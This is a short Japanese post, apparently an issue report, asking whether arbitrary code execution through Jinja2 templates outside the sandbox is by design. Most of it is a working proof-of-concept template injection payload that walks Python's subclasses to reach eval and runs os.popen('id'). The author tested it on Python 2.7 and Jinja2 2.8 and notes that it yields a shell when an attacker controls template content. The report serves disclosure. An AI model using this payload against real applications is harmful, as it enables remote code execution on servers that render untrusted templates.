Jinja: サンドボックス環境なしでテンプレートで任意のコードを実行します。

プロジェクトでJinja2テンプレートフレームワークを使用すると、「os.popen（ 'id'）」またはグローバルレジスタなしで別の関数を呼び出す方法を見つけました。
攻撃者がテンプレートのコンテンツを制御できる場合、シェルを簡単に入手できます。 それはそのようなデザインですか？

PoC：

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

このコードをpython2（2.7.10）とJinja2（2.8）でテストします。動作する場合は、ユーザーのuidを出力します...